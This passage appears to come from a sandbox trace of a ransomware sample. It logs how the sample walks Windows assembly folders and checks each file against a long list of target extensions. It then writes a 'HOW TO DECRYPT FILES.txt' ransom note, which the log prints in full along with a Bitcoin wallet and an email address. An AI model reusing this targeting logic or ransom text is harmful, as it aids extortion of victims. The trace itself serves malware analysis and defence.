(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.vdi") returned 0 [0100.571] lstrlenA (lpString="*.vdi") returned 5 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.lay6") returned 0 [0100.571] lstrlenA (lpString="*.lay6") returned 6 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.mpeg") returned 0 [0100.571] lstrlenA (lpString="*.mpeg") returned 6 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.djvu") returned 0 [0100.571] lstrlenA (lpString="*.djvu") returned 6 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.tiff") returned 0 [0100.571] lstrlenA (lpString="*.tiff") returned 6 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.backup") returned 0 [0100.571] lstrlenA (lpString="*.backup") returned 8 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.pdf") returned 0 [0100.571] lstrlenA (lpString="*.pdf") returned 5 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.cert") returned 0 [0100.571] lstrlenA (lpString="*.cert") returned 6 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.docm") returned 0 [0100.571] lstrlenA (lpString="*.docm") returned 6 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.xlsm") returned 0 [0100.571] lstrlenA (lpString="*.xlsm") returned 6 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.dwg") returned 0 [0100.571] lstrlenA (lpString="*.dwg") returned 5 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.nd") returned 0 [0100.571] lstrlenA (lpString="*.nd") returned 4 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.tlg") returned 0 [0100.571] lstrlenA (lpString="*.tlg") returned 5 [0100.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.lgb") returned 0 [0100.572] lstrlenA (lpString="*.lgb") returned 5 [0100.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.mov") returned 0 [0100.572] lstrlenA (lpString="*.mov") returned 5 [0100.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.xdw") returned 0 [0100.572] lstrlenA (lpString="*.xdw") returned 5 [0100.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.ods") returned 0 [0100.572] lstrlenA (lpString="*.ods") returned 5 [0100.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.wav") returned 0 [0100.572] lstrlenA (lpString="*.wav") returned 5 [0100.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.mp3") returned 0 [0100.572] lstrlenA (lpString="*.mp3") returned 5 [0100.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.aiff") returned 0 [0100.572] lstrlenA (lpString="*.aiff") returned 6 [0100.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.flac") returned 0 [0100.572] lstrlenA (lpString="*.flac") returned 6 [0100.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.m4a") returned 0 [0100.572] lstrlenA (lpString="*.m4a") returned 5 [0100.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.csv") returned 0 [0100.572] lstrlenA (lpString="*.csv") returned 5 [0100.572] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCEx.Resources.dll", cAlternateFileName="")) returned 0 [0100.572] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.572] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0_en_31bf3856ad364e35", cAlternateFileName="300~1.0_E")) returned 0 [0100.572] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.573] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d004d, dwReserved1=0x450043, cFileName="MMCFxCommon", cAlternateFileName="MMCFXC~1")) returned 1 [0100.573] lstrcmpA (lpString1=".", lpString2="MMCFxCommon") returned -1 [0100.573] lstrcmpA (lpString1="..", lpString2="MMCFxCommon") returned -1 [0100.573] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.573] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="MMCFxCommon" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon" [0100.573] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon") returned 40 [0100.573] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.573] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.573] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.573] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.574] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.574] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0100.574] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0100.574] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0100.574] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\*.*") returned="*.*" [0100.574] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35" [0100.574] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35") returned 66 [0100.574] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.574] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.574] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.574] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7d8830, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x81c8880, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0xfc0cce5, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCFxCommon.dll", cAlternateFileName="")) returned 1 [0100.574] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.574] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MMCFxCommon.dll") returned -1 [0100.574] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MMCFxCommon.dll") returned -1 [0100.574] lstrcmpiA (lpString1="", lpString2="MMCFxCommon.dll") returned -1 [0100.575] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.575] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\" [0100.575] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\") returned="" [0100.575] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.575] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\mmcfxcommon\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.575] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\mmcfxcommon\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.576] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.576] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.577] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.577] CloseHandle (hObject=0x90) returned 1 [0100.577] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\", lpString2="MMCFxCommon.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll" [0100.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.ems") returned 0 [0100.577] lstrlenA (lpString="*.ems") returned 5 [0100.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.db") returned 0 [0100.577] lstrlenA (lpString="*.db") returned 4 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.dbf") returned 0 [0100.578] lstrlenA (lpString="*.dbf") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.myox") returned 0 [0100.578] lstrlenA (lpString="*.myox") returned 6 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.myo") returned 0 [0100.578] lstrlenA (lpString="*.myo") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.qbw") returned 0 [0100.578] lstrlenA (lpString="*.qbw") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.qbb") returned 0 [0100.578] lstrlenA (lpString="*.qbb") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.qbm") returned 0 [0100.578] lstrlenA (lpString="*.qbm") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.qbo") returned 0 [0100.578] lstrlenA (lpString="*.qbo") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.qbx") returned 0 [0100.578] lstrlenA (lpString="*.qbx") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.qba") returned 0 [0100.578] lstrlenA (lpString="*.qba") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.qby") returned 0 [0100.578] lstrlenA (lpString="*.qby") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.qbj") returned 0 [0100.578] lstrlenA (lpString="*.qbj") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.ofx") returned 0 [0100.578] lstrlenA (lpString="*.ofx") returned 5 [0100.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.qif") returned 0 [0100.578] lstrlenA (lpString="*.qif") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.mye") returned 0 [0100.579] lstrlenA (lpString="*.mye") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.mbox") returned 0 [0100.579] lstrlenA (lpString="*.mbox") returned 6 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.eml") returned 0 [0100.579] lstrlenA (lpString="*.eml") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.pst") returned 0 [0100.579] lstrlenA (lpString="*.pst") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.ost") returned 0 [0100.579] lstrlenA (lpString="*.ost") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.idx") returned 0 [0100.579] lstrlenA (lpString="*.idx") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.dbx") returned 0 [0100.579] lstrlenA (lpString="*.dbx") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.sql") returned 0 [0100.579] lstrlenA (lpString="*.sql") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.mdb") returned 0 [0100.579] lstrlenA (lpString="*.mdb") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.fdb") returned 0 [0100.579] lstrlenA (lpString="*.fdb") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.wab") returned 0 [0100.579] lstrlenA (lpString="*.wab") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.dat") returned 0 [0100.579] lstrlenA (lpString="*.dat") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.txt") returned 0 [0100.579] lstrlenA (lpString="*.txt") returned 5 [0100.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.jpeg") returned 0 [0100.579] lstrlenA (lpString="*.jpeg") returned 6 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.jpg") returned 0 [0100.580] lstrlenA (lpString="*.jpg") returned 5 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.png") returned 0 [0100.580] lstrlenA (lpString="*.png") returned 5 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.php") returned 0 [0100.580] lstrlenA (lpString="*.php") returned 5 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.cs") returned 0 [0100.580] lstrlenA (lpString="*.cs") returned 4 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.cpp") returned 0 [0100.580] lstrlenA (lpString="*.cpp") returned 5 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.rar") returned 0 [0100.580] lstrlenA (lpString="*.rar") returned 5 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.zip") returned 0 [0100.580] lstrlenA (lpString="*.zip") returned 5 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.html") returned 0 [0100.580] lstrlenA (lpString="*.html") returned 6 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.htm") returned 0 [0100.580] lstrlenA (lpString="*.htm") returned 5 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.xlsx") returned 0 [0100.580] lstrlenA (lpString="*.xlsx") returned 6 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.xls") returned 0 [0100.580] lstrlenA (lpString="*.xls") returned 5 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.mp4") returned 0 [0100.580] lstrlenA (lpString="*.mp4") returned 5 [0100.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.ppt") returned 0 [0100.580] lstrlenA (lpString="*.ppt") returned 5 [0100.581] PathMatchSpecA 